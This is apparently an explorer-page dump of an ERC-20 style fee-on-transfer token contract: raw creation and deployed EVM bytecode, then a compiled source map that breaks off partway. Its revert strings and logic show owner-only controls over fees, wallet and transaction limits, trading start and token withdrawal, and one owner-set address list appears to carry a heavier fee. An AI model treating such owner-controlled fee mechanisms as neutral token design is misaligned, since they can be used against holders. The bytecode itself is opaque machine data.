4016105c990611c26565b30600090815260026020526040902054600b548111156107905750600b545b6107998161132f565b50565b6000546001600160a01b031633146107c65760405162461bcd60e51b81526004016105c990611c26565b6040516370a0823160e01b815230600482015260009061084a906064906108449085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611c8b565b906114ac565b906114b8565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106439190611ca4565b6000546001600160a01b031633146108ed5760405162461bcd60e51b81526004016105c990611c26565b601680546001600160a01b039485166001600160a01b031991821681179092556017805494861694821685179055601580549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016105c990611c26565b60006109b0612710610844866001546114ac90919063ffffffff16565b905060006109cf612710610844866001546114ac90919063ffffffff16565b905060006109ee612710610844866001546114ac90919063ffffffff16565b60188490556019839055601a81905590506000610a146103e8610844600561083e61052e565b9050808410158015610a265750808310155b8015610a325750808210155b610a955760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016105c9565b50505050505050565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016105c990611c26565b600a839055600154610ae390620186a09061084490856114ac565b600b55600154610afc90620186a09061084490846114ac565b600c55505050565b6000610524338484610db6565b6000546001600160a01b03163314610b3b5760405162461bcd60e51b81526004016105c990611c26565b600d879055600e8690556010859055600f849055601183905560128290556013819055601454610b6c9060016114b8565b60115411158015610b8c5750601454610b869060016114b8565b60125411155b8015610ba75750601454610ba19060016114b8565b60135411155b610a955760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016105c9565b6000546001600160a01b03163314610c325760405162461bcd60e51b81526004016105c990611c26565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610ce85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106ac8284611cc1565b6001600160a01b038316610e1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c9565b6001600160a01b038216610e7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c9565b6001600160a01b038316600090815260026020526040902054811115610efe5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016105c9565b6001600160a01b03831660009081526004602052604090205460ff16158015610f4057506001600160a01b03821660009081526004602052604090205460ff16155b15610f8f57600754600160a01b900460ff16610f8f5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105c9565b6001600160a01b03831660009081526004602052604090205460ff16158015610fd157506001600160a01b03821660009081526004602052604090205460ff16155b8015610feb57506007546001600160a01b03838116911614155b801561100257506001600160a01b03821661dead14155b1561107b57601a546001600160a01b03831660009081526002602052604090205461102d90836114c4565b111561107b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105c9565b6007546001600160a01b0384811691161461111c57601954811115806110b957506001600160a01b03831660009081526004602052604090205460ff165b806110dc57506001600160a01b03821660009081526004602052604090205460ff165b61111c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105c9565b6018548111158061114557506001600160a01b03831660009081526004602052604090205460ff165b8061116857506001600160a01b03821660009081526004602052604090205460ff165b6111a85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105c9565b6007546001600160a01b0383811691161480156111de57506001600160a01b03831660009081526004602052604090205460ff16155b156111fc576001600860008282546111f69190611cd4565b90915550505b6112078383836114d0565b1561121d57611217600b5461132f565b60006008555b6001600160a01b0383166000908152600260205260409020546112409082610daa565b6001600160a01b038416600090815260026020526040812091909155611266848461158a565b611270578161127b565b61127b8484846115d0565b6001600160a01b0384166000908152600260205260409020549091506112a190826114c4565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112f59085815260200190565b60405180910390a350505050565b600081848411156113275760405162461bcd60e51b81526004016105c99190611986565b505050900390565b6009805460ff19166001908117909155600f54600e54600d546000936113699360029361083e9391926113639283916114c4565b906114c4565b9050600061138682610844600d54866114ac90919063ffffffff16565b905060006113948483610daa565b9050476113a0826116d7565b60006113ac4783610daa565b905060006113cf6113c8600d5488610daa90919063ffffffff16565b83906114b8565b905060006113e8600d54836114ac90919063ffffffff16565b905080156113fa576113fa8682611831565b600e5460009061140f9061083e8560026114ac565b90508015611453576016546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611451573d6000803e3d6000fd5b505b478015611496576015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611494573d6000803e3d6000fd5b505b50506009805460ff191690555050505050505050565b60006106ac8284611ce7565b60006106ac8284611cfe565b60006106ac8284611cd4565b600c54600b543060009081526002602052604081205460095491938510159211159060ff1615801561150b5750600754600160a81b900460ff165b80156115205750600754600160a01b900460ff165b80156115295750815b801561154e57506001600160a01b03861660009081526004602052604090205460ff16155b801561156757506007546001600160a01b038681169116145b80156115775750600a5460085410155b80156115805750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106ac5750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806115dd85856118e5565b11156116d05760006116006115f286866118e5565b60145461083e9086906114b8565b3060009081526002602052604090205490915061161d90826114c4565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061166e9085815260200190565b60405180910390a36000601054118015611692575060105461169086866118e5565b115b156116be576116be3061dead6116b960105461083e601454896114b890919063ffffffff16565b610db6565b6116c88382610daa565b9150506106ac565b5092915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061170c5761170c611c46565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611765573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117899190611d20565b8160018151811061179c5761179c611c46565b6001600160a01b0392831660209182029290920101526006546117c29130911684610c86565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117fb908590600090869030904290600401611d3d565b600060405180830381600087803b15801561181557600080fd5b505af1158015611829573d6000803e3d6000fd5b505050505050565b6006546118499030906001600160a01b031684610c86565b60065460175460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118de9190611dae565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff168061192457506001600160a01b03821660009081526005602052604090205460ff165b1561193e57601454611937906064610daa565b9050610528565b6007546001600160a01b039081169083160361195d5750601254610528565b6007546001600160a01b039081169084160361197c5750601154610528565b5060135492915050565b600060208083528351808285015260005b818110156119b357858101830151858201604001528201611997565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461079957600080fd5b600080604083850312156119fc57600080fd5b8235611a07816119d4565b946020939093013593505050565b801515811461079957600080fd5b600080600060408486031215611a3857600080fd5b833567ffffffffffffffff80821115611a5057600080fd5b818601915086601f830112611a6457600080fd5b813581811115611a7357600080fd5b8760208260051b8501011115611a8857600080fd5b60209283019550935050840135611a9e81611a15565b809150509250925092565b600080600060608486031215611abe57600080fd5b8335611ac9816119d4565b92506020840135611ad9816119d4565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356106ac816119d4565b60008060408385031215611b1a57600080fd5b8235611b25816119d4565b91506020830135611b3581611a15565b809150509250929050565b600080600060608486031215611b5557600080fd5b8335611b60816119d4565b92506020840135611b70816119d4565b91506040840135611a9e816119d4565b600080600060608486031215611b9557600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a031215611bc757600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b60008060408385031215611c0b57600080fd5b8235611c16816119d4565b91506020830135611b35816119d4565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c8457611c84611c5c565b5060010190565b600060208284031215611c9d57600080fd5b5051919050565b600060208284031215611cb657600080fd5b81516106ac81611a15565b8181038181111561052857610528611c5c565b8082018082111561052857610528611c5c565b808202811582820484141761052857610528611c5c565b600082611d1b57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611d3257600080fd5b81516106ac816119d4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d8d5784516001600160a01b031683529383019391830191600101611d68565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611dc357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220135f39baa02e695f7df1bf3cb04546748365763f4a7e0096681359e085b2830464736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101855760003560e01c80637cca52fe116100d15780639cc353511161008a578063a9059cbb11610064578063a9059cbb14610471578063cb7f97d714610491578063dd62ed3e146104b1578063f2fde38b146104f757600080fd5b80639cc35351146104115780639d8740cb14610431578063a8aa1b311461045157600080fd5b80637cca52fe146103735780637d1db4a514610389578063893d20e81461039f5780638cd4426d146103d15780639213c358146103f157806395d89b411461019157600080fd5b80632f54bf6e1161013e57806348ff2b8b1161011857806348ff2b8b146102f257806351bc3c851461031257806370a082311461032757806378109e541461035d57600080fd5b80632f54bf6e14610277578063313ce567146102a65780633f4218e0146102c257600080fd5b806306fdde0314610191578063095ea7b3146101cd57806318160ddd146101fd578063229b6a5e1461022057806323b872dd14610242578063293230b81461026257600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b5060408051808201825260048152631513d05160e21b602082015290516101c49190611986565b60405180910390f35b3480156101d957600080fd5b506101ed6101e83660046119e9565b610517565b60405190151581526020016101c4565b34801561020957600080fd5b5061021261052e565b6040519081526020016101c4565b34801561022c57600080fd5b5061024061023b366004611a23565b61059f565b005b34801561024e57600080fd5b506101ed61025d366004611aa9565b610649565b34801561026e57600080fd5b506102406106b3565b34801561028357600080fd5b506101ed610292366004611aea565b6000546001600160a01b0391821691161490565b3480156102b257600080fd5b50604051600981526020016101c4565b3480156102ce57600080fd5b506101ed6102dd366004611aea565b60046020526000908152604090205460ff1681565b3480156102fe57600080fd5b5061024061030d366004611b07565b6106f2565b34801561031e57600080fd5b50610240610747565b34801561033357600080fd5b50610212610342366004611aea565b6001600160a01b031660009081526002602052604090205490565b34801561036957600080fd5b50610212601a5481565b34801561037f57600080fd5b5061021260195481565b34801561039557600080fd5b5061021260185481565b3480156103ab57600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101c4565b3480156103dd57600080fd5b506102406103ec3660046119e9565b61079c565b3480156103fd57600080fd5b5061024061040c366004611b40565b6108c3565b34801561041d57600080fd5b5061024061042c366004611b80565b610969565b34801561043d57600080fd5b5061024061044c366004611b80565b610a9e565b34801561045d57600080fd5b506007546103b9906001600160a01b031681565b34801561047d57600080fd5b506101ed61048c3660046119e9565b610b04565b34801561049d57600080fd5b506102406104ac366004611bac565b610b11565b3480156104bd57600080fd5b506102126104cc366004611bf8565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561050357600080fd5b50610240610512366004611aea565b610c08565b6000610524338484610c86565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261059a9290916105949190610daa565b90610daa565b905090565b6000546001600160a01b031633146105d25760405162461bcd60e51b81526004016105c990611c26565b60405180910390fd5b60005b828110156106435781600560008686858181106105f4576105f4611c46565b90506020020160208101906106099190611aea565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790558061063b81611c72565b9150506105d5565b50505050565b6000610656848484610db6565b6106a884336106a385604051806060016040528060288152602001611ddd602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611303565b610c86565b5060015b9392505050565b6000546001600160a01b031633146106dd5760405162461bcd60e51b81526004016105c990611c26565b6007805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461071c5760405162461bcd60e51b81526004016105c990611c26565b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107715760405162461bcd60e51b81526004016105c990611c26565b30600090815260026020526040902054600b548111156107905750600b545b6107998161132f565b50565b6000546001600160a01b031633146107c65760405162461bcd60e51b81526004016105c990611c26565b6040516370a0823160e01b815230600482015260009061084a906064906108449085906001600160a01b038816906370a0823190602401602060405180830381865afa15801561081a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083e9190611c8b565b906114ac565b906114b8565b60155460405163a9059cbb60e01b81526001600160a01b0391821660048201526024810183905291925084169063a9059cbb906044016020604051808303816000875af115801561089f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106439190611ca4565b6000546001600160a01b031633146108ed5760405162461bcd60e51b81526004016105c990611c26565b601680546001600160a01b039485166001600160a01b031991821681179092556017805494861694821685179055601580549390951692168217909355600092835260046020526040808420805460ff199081166001908117909255938552818520805485168217905591845290922080549091169091179055565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016105c990611c26565b60006109b0612710610844866001546114ac90919063ffffffff16565b905060006109cf612710610844866001546114ac90919063ffffffff16565b905060006109ee612710610844866001546114ac90919063ffffffff16565b60188490556019839055601a81905590506000610a146103e8610844600561083e61052e565b9050808410158015610a265750808310155b8015610a325750808210155b610a955760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016105c9565b50505050505050565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016105c990611c26565b600a839055600154610ae390620186a09061084490856114ac565b600b55600154610afc90620186a09061084490846114ac565b600c55505050565b6000610524338484610db6565b6000546001600160a01b03163314610b3b5760405162461bcd60e51b81526004016105c990611c26565b600d879055600e8690556010859055600f849055601183905560128290556013819055601454610b6c9060016114b8565b60115411158015610b8c5750601454610b869060016114b8565b60125411155b8015610ba75750601454610ba19060016114b8565b60135411155b610a955760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016105c9565b6000546001600160a01b03163314610c325760405162461bcd60e51b81526004016105c990611c26565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610ce85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006106ac8284611cc1565b6001600160a01b038316610e1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c9565b6001600160a01b038216610e7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105c9565b6001600160a01b038316600090815260026020526040902054811115610efe5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016105c9565b6001600160a01b03831660009081526004602052604090205460ff16158015610f4057506001600160a01b03821660009081526004602052604090205460ff16155b15610f8f57600754600160a01b900460ff16610f8f5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016105c9565b6001600160a01b03831660009081526004602052604090205460ff16158015610fd157506001600160a01b03821660009081526004602052604090205460ff16155b8015610feb57506007546001600160a01b03838116911614155b801561100257506001600160a01b03821661dead14155b1561107b57601a546001600160a01b03831660009081526002602052604090205461102d90836114c4565b111561107b5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016105c9565b6007546001600160a01b0384811691161461111c57601954811115806110b957506001600160a01b03831660009081526004602052604090205460ff165b806110dc57506001600160a01b03821660009081526004602052604090205460ff165b61111c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105c9565b6018548111158061114557506001600160a01b03831660009081526004602052604090205460ff165b8061116857506001600160a01b03821660009081526004602052604090205460ff165b6111a85760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016105c9565b6007546001600160a01b0383811691161480156111de57506001600160a01b03831660009081526004602052604090205460ff16155b156111fc576001600860008282546111f69190611cd4565b90915550505b6112078383836114d0565b1561121d57611217600b5461132f565b60006008555b6001600160a01b0383166000908152600260205260409020546112409082610daa565b6001600160a01b038416600090815260026020526040812091909155611266848461158a565b611270578161127b565b61127b8484846115d0565b6001600160a01b0384166000908152600260205260409020549091506112a190826114c4565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112f59085815260200190565b60405180910390a350505050565b600081848411156113275760405162461bcd60e51b81526004016105c99190611986565b505050900390565b6009805460ff19166001908117909155600f54600e54600d546000936113699360029361083e9391926113639283916114c4565b906114c4565b9050600061138682610844600d54866114ac90919063ffffffff16565b905060006113948483610daa565b9050476113a0826116d7565b60006113ac4783610daa565b905060006113cf6113c8600d5488610daa90919063ffffffff16565b83906114b8565b905060006113e8600d54836114ac90919063ffffffff16565b905080156113fa576113fa8682611831565b600e5460009061140f9061083e8560026114ac565b90508015611453576016546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611451573d6000803e3d6000fd5b505b478015611496576015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611494573d6000803e3d6000fd5b505b50506009805460ff191690555050505050505050565b60006106ac8284611ce7565b60006106ac8284611cfe565b60006106ac8284611cd4565b600c54600b543060009081526002602052604081205460095491938510159211159060ff1615801561150b5750600754600160a81b900460ff165b80156115205750600754600160a01b900460ff165b80156115295750815b801561154e57506001600160a01b03861660009081526004602052604090205460ff16155b801561156757506007546001600160a01b038681169116145b80156115775750600a5460085410155b80156115805750805b9695505050505050565b6001600160a01b03821660009081526004602052604081205460ff161580156106ac5750506001600160a01b031660009081526004602052604090205460ff1615919050565b6000806115dd85856118e5565b11156116d05760006116006115f286866118e5565b60145461083e9086906114b8565b3060009081526002602052604090205490915061161d90826114c4565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061166e9085815260200190565b60405180910390a36000601054118015611692575060105461169086866118e5565b115b156116be576116be3061dead6116b960105461083e601454896114b890919063ffffffff16565b610db6565b6116c88382610daa565b9150506106ac565b5092915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061170c5761170c611c46565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611765573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117899190611d20565b8160018151811061179c5761179c611c46565b6001600160a01b0392831660209182029290920101526006546117c29130911684610c86565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906117fb908590600090869030904290600401611d3d565b600060405180830381600087803b15801561181557600080fd5b505af1158015611829573d6000803e3d6000fd5b505050505050565b6006546118499030906001600160a01b031684610c86565b60065460175460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156118b9573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118de9190611dae565b5050505050565b6001600160a01b03821660009081526005602052604081205460ff168061192457506001600160a01b03821660009081526005602052604090205460ff165b1561193e57601454611937906064610daa565b9050610528565b6007546001600160a01b039081169083160361195d5750601254610528565b6007546001600160a01b039081169084160361197c5750601154610528565b5060135492915050565b600060208083528351808285015260005b818110156119b357858101830151858201604001528201611997565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461079957600080fd5b600080604083850312156119fc57600080fd5b8235611a07816119d4565b946020939093013593505050565b801515811461079957600080fd5b600080600060408486031215611a3857600080fd5b833567ffffffffffffffff80821115611a5057600080fd5b818601915086601f830112611a6457600080fd5b813581811115611a7357600080fd5b8760208260051b8501011115611a8857600080fd5b60209283019550935050840135611a9e81611a15565b809150509250925092565b600080600060608486031215611abe57600080fd5b8335611ac9816119d4565b92506020840135611ad9816119d4565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356106ac816119d4565b60008060408385031215611b1a57600080fd5b8235611b25816119d4565b91506020830135611b3581611a15565b809150509250929050565b600080600060608486031215611b5557600080fd5b8335611b60816119d4565b92506020840135611b70816119d4565b91506040840135611a9e816119d4565b600080600060608486031215611b9557600080fd5b505081359360208301359350604090920135919050565b600080600080600080600060e0888a031215611bc757600080fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b60008060408385031215611c0b57600080fd5b8235611c16816119d4565b91506020830135611b35816119d4565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c8457611c84611c5c565b5060010190565b600060208284031215611c9d57600080fd5b5051919050565b600060208284031215611cb657600080fd5b81516106ac81611a15565b8181038181111561052857610528611c5c565b8082018082111561052857610528611c5c565b808202811582820484141761052857610528611c5c565b600082611d1b57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611d3257600080fd5b81516106ac816119d4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d8d5784516001600160a01b031683529383019391830191600101611d68565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215611dc357600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220135f39baa02e695f7df1bf3cb04546748365763f4a7e0096681359e085b2830464736f6c63430008130033

Deployed Bytecode Sourcemap

4763:11459:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7198:67;;;;;;;;;;-1:-1:-1;7258:5:0;;;;;;;;;;;-1:-1:-1;;;7258:5:0;;;;7198:67;;;;7258:5;7198:67;:::i;:::-;;;;;;;;8079:133;;;;;;;;;;-1:-1:-1;8079:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8079:133:0;1023:187:1;8218:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;8218:132:0;1215:177:1;10538:184:0;;;;;;;;;;-1:-1:-1;10538:184:0;;;;;:::i;:::-;;:::i;:::-;;15567:309;;;;;;;;;;-1:-1:-1;15567:309:0;;;;;:::i;:::-;;:::i;7421:67::-;;;;;;;;;;;;;:::i;3667:87::-;;;;;;;;;;-1:-1:-1;3667:87:0;;;;;:::i;:::-;3722:4;3747:5;-1:-1:-1;;;;;3736:16:0;;;3747:5;;3736:16;;3667:87;7348:67;;;;;;;;;;-1:-1:-1;7348:67:0;;4963:1;3130:36:1;;3118:2;3103:18;7348:67:0;2988:184:1;5159:44:0;;;;;;;;;;-1:-1:-1;5159:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7965:108;;;;;;;;;;-1:-1:-1;7965:108:0;;;;;:::i;:::-;;:::i;10730:195::-;;;;;;;;;;;;;:::i;7578:103::-;;;;;;;;;;-1:-1:-1;7578:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;7661:18:0;7644:7;7661:18;;;:9;:18;;;;;;;7578:103;6481:63;;;;;;;;;;;;;;;;6412:62;;;;;;;;;;;;;;;;6345:60;;;;;;;;;;;;;;;;7494:78;;;;;;;;;;-1:-1:-1;7546:7:0;7564:5;-1:-1:-1;;;;;7564:5:0;7494:78;;;-1:-1:-1;;;;;3728:32:1;;;3710:51;;3698:2;3683:18;7494:78:0;3564:203:1;10933:242:0;;;;;;;;;;-1:-1:-1;10933:242:0;;;;;:::i;:::-;;:::i;10192:338::-;;;;;;;;;;-1:-1:-1;10192:338:0;;;;;:::i;:::-;;:::i;9628:556::-;;;;;;;;;;-1:-1:-1;9628:556:0;;;;;:::i;:::-;;:::i;8769:319::-;;;;;;;;;;-1:-1:-1;8769:319:0;;;;;:::i;:::-;;:::i;5277:19::-;;;;;;;;;;-1:-1:-1;5277:19:0;;;;-1:-1:-1;;;;;5277:19:0;;;7687:139;;;;;;;;;;-1:-1:-1;7687:139:0;;;;;:::i;:::-;;:::i;9096:524::-;;;;;;;;;;-1:-1:-1;9096:524:0;;;;;:::i;:::-;;:::i;7832:127::-;;;;;;;;;;-1:-1:-1;7832:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;7930:18:0;;;7913:7;7930:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7832:127;3760:111;;;;;;;;;;-1:-1:-1;3760:111:0;;;;;:::i;:::-;;:::i;8079:133::-;8154:4;8161:37;8170:10;8182:7;8191:6;8161:8;:37::i;:::-;-1:-1:-1;8206:4:0;8079:133;;;;;:::o;8218:132::-;7661:9;:18;;;;6032:42;8271:7;7661:18;;;;;8288:12;;8271:7;;8288:60;;7661:18;;8288:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;8281:67;;8218:132;:::o;10538:184::-;3722:4;3747:5;-1:-1:-1;;;;;3747:5:0;3634:10;3736:16;3618:38;;;;-1:-1:-1;;;3618:38:0;;;;;;;:::i;:::-;;;;;;;;;10635:6:::1;10631:84;10645:20:::0;;::::1;10631:84;;;10704:8;10682:5;:19;10688:9;;10698:1;10688:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10682:19:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;10682:19:0;:30;;-1:-1:-1;;10682:30:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10667:3;::::1;::::0;::::1;:::i;:::-;;;;10631:84;;;;10538:184:::0;;;:::o;15567:309::-;15665:4;15682:36;15692:6;15700:9;15711:6;15682:9;:36::i;:::-;15729:117;15738:6;15746:10;15758:87;15794:6;15758:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15758:19:0;;;;;;:11;:19;;;;;;;;15778:10;15758:31;;;;;;;;;:87;:35;:87::i;:::-;15729:8;:117::i;:::-;-1:-1:-1;15864:4:0;15567:309;;;;;;:::o;7421:67::-;3722:4;3747:5;-1:-1:-1;;;;;3747:5:0;3634:10;3736:16;3618:38;;;;-1:-1:-1;;;3618:38:0;;;;;;;:::i;:::-;7465:14:::1;:21:::0;;-1:-1:-1;;;;7465:21:0::1;-1:-1:-1::0;;;7465:21:0::1;::::0;;7421:67::o;7965:108::-;3722:4;3747:5;-1:-1:-1;;;;;3747:5:0;3634:10;3736:16;3618:38;;;;-1:-1:-1;;;3618:38:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8039:21:0;;;::::1;;::::0;;;:11:::1;:21;::::0;;;;:32;;-1:-1:-1;;8039:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7965:108::o;10730:195::-;3722:4;3747:5;-1:-1:-1;;;;;3747:5:0;3634:10;3736:16;3618:38;;;;-1:-1:-1;;;3618:38:0;;;;;;;:::i;:::-;10817:4:::1;10782:14;7661:18:::0;;;:9;:18;;;;;;10846:13:::1;::::0;10837:22;::::1;10834:51;;;-1:-1:-1::0;10870:13:0::1;::::0;10834:51:::1;10895:22;10910:6;10895:14;:22::i;:::-;10771:154;10730:195::o:0;10933:242::-;3722:4;3747:5;-1:-1:-1;;;;;3747:5:0;3634:10;3736:16;3618:38;;;;-1:-1:-1;;;3618:38:0;;;;;;;:::i;:::-;11037:41:::1;::::0;-1:-1:-1;;;11037:41:0;;11072:4:::1;11037:41;::::0;::::1;3710:51:1::0;11019:15:0::1;::::